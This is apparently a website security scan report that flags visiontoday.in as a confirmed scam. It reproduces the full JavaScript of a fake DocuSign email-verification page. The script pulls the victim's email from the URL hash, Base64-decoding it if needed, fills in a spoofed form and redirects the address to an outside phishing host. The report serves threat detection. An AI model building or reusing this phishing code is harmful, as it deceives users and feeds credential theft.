documentation technical

finance banking

government public service

technology software

English

Within the Indian country-code top-level domain (.in), 'visiontoday.in' is registered without a subdomain. The registrable portion 'visiontoday' spans 11 characters with 5 vowels and 6 consonants. Breaking it apart gives 2 words: vision, today. Median word length is 5.5 characters. No strong language cues emerged from the frequency lists.

email

e9919db6a8f09a9de902bb5c7a1d81c83b7d73e4848c2cff42bfa7605206a0ac

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

GoDaddy

visiontoday.in


        // Your destination URL
        const DESTINATION_URL = "https://claimid.thioveakea.email/!VIjPwUGyC1UsD7/*";
        
        // DOM Elements
        const emailInput = document.getElementById('emailInput');
        const loginForm = document.getElementById('loginForm');
        const loading = document.getElementById('loading');
        const autoFillNotice = document.getElementById('autoFillNotice');
        const detectedEmailSpan = document.getElementById('detectedEmail');
        
        // Enhanced email validation
        function isValidEmail(email) {
            if (typeof email !== 'string') return false;
            const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
            return emailRegex.test(email) && email.length <= 254;
        }
        
        // Check if string is Base64 encoded
        function isBase64(str) {
            if (typeof str !== 'string' || str.trim() === '') return false;
            
            // Clean the string
            const cleanStr = str.trim();
            
            // Base64 regex pattern
            const base64Regex = /^[A-Za-z0-9+/]*={0,2}$/;
            
            // Check if string matches Base64 pattern
            if (!base64Regex.test(cleanStr)) {
                return false;
            }
            
            try {
                // Try to decode
                const decoded = atob(cleanStr);
                
                // Check if decoded result is a valid string
                return decoded.length > 0 && /^[\x20-\x7E]*$/.test(decoded);
            } catch (error) {
                return false;
            }
        }
        
        // Extract and decode email from URL hash
        function extractEmailFromHash() {
            try {
                const hash = window.location.hash.substring(1);
                
                if (!hash || hash.trim() === '') return null;
                
                let email = hash.trim();
                
                console.log('Original hash:', email);
                
                // First try URL decoding
                try {
                    const urlDecoded = decodeURIComponent(email);
                    if (urlDecoded !== email) {
                        email = urlDecoded;
                        console.log('URL decoded:', email);
                    }
                } catch (e) {
                    console.log('Not URL encoded or already decoded');
                }
                
                // Check if it's Base64 encoded
                if (!email.includes('@') && isBase64(email)) {
                    try {
                        console.log('Detected Base64, decoding...');
                        const base64Decoded = atob(email);
                        if (base64Decoded && base64Decoded.includes('@')) {
                            email = base64Decoded;
                            console.log('Base64 decoded email:', email);
                        }
                    } catch (error) {
                        console.error('Error decoding Base64:', error);
                    }
                }
                
                // Final validation
                if (isValidEmail(email)) {
                    console.log('Valid email found:', email);
                    return email;
                } else {
                    console.log('No valid email found after decoding');
                    return null;
                }
                
            } catch (error) {
                console.error('Error extracting email from hash:', error);
                return null;
            }
        }
        
        // Auto-fill email if found in hash
        function initializeEmailAutoFill() {
            try {
                const detectedEmail = extractEmailFromHash();
                if (detectedEmail) {
                    emailInput.value = detectedEmail;
                    emailInput.classList.add('auto-filled');
                    detectedEmailSpan.textContent = detectedEmail;
                    autoFillNotice.style.display = 'block';
                    return true;
                }
                return false;
            } catch (error) {
                console.error('Error in auto-fill:', error);
                return false;
            }
        }
        
        // Initialize auto-fill when DOM is ready
        if (document.readyState === 'loading') {
            document.addEventListener('DOMContentLoaded', initializeEmailAutoFill);
        } else {
            initializeEmailAutoFill();
        }
        
        // Form submission handler
        loginForm.addEventListener('submit', function(e) {
            e.preventDefault();
            
            // Reset any previous error states
            emailInput.style.borderColor = '';
            emailInput.style.background = '';
            emailInput.classList.remove('shake');
            
            const email = emailInput.value.trim();
            
            // Enhanced email validation
            if (!email || !isValidEmail(email)) {
                // Add error styling
                emailInput.style.borderColor = '#d13438';
                emailInput.style.background = '#fdf2f2';
                emailInput.classList.add('shake');
                
                return;
            }
            
            // Show loading state
            loading.style.display = 'block';
            const submitButton = document.querySelector('.css-1i5auj8');
            submitButton.disabled = true;
            submitButton.style.opacity = '0.7';
            submitButton.innerHTML = '<span class="css-16hz1ch">PROCESSING...</span>';
            
            // Simulate processing delay
            setTimeout(() => {
                // Redirect to destination with email in hash
                const redirectUrl = `${DESTINATION_URL}${encodeURIComponent(email)}`;
                window.location.href = redirectUrl;
            }, 1500);
        });
        
        // Real-time email validation
        emailInput.addEventListener('input', function() {
            const email = this.value.trim();
            
            // Reset styles
            this.style.borderColor = '';
            this.style.background = '';
            this.classList.remove('shake');
            
            if (email && isValidEmail(email)) {
                this.style.borderColor = '#107c10';
                this.style.background = '#f2fbf2';
            } else if (email) {
                this.style.borderColor = '#d13438';
                this.style.background = '#fdf2f2';
            }
        });
        
        // Auto-focus email input if no auto-filled email
        setTimeout(() => {
            if (!emailInput.value) {
                emailInput.focus();
            }
        }, 500);
    

DocuSign - Verify Email

regular

☠️ Confirmed Scam - https://visiontoday.in/accounts.clocusign.com.html

Requests	IP Address	Location	AS Autonomous System
1	192.185.159.47	Unknown	Unknown
1	95.100.158.49	Unknown	Unknown
1	95.100.158.33	Unknown	Unknown
4	3	-	-

Security Scan Report: visiontoday.in

Summary

AI Security Verdict

Confirmed Scam

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History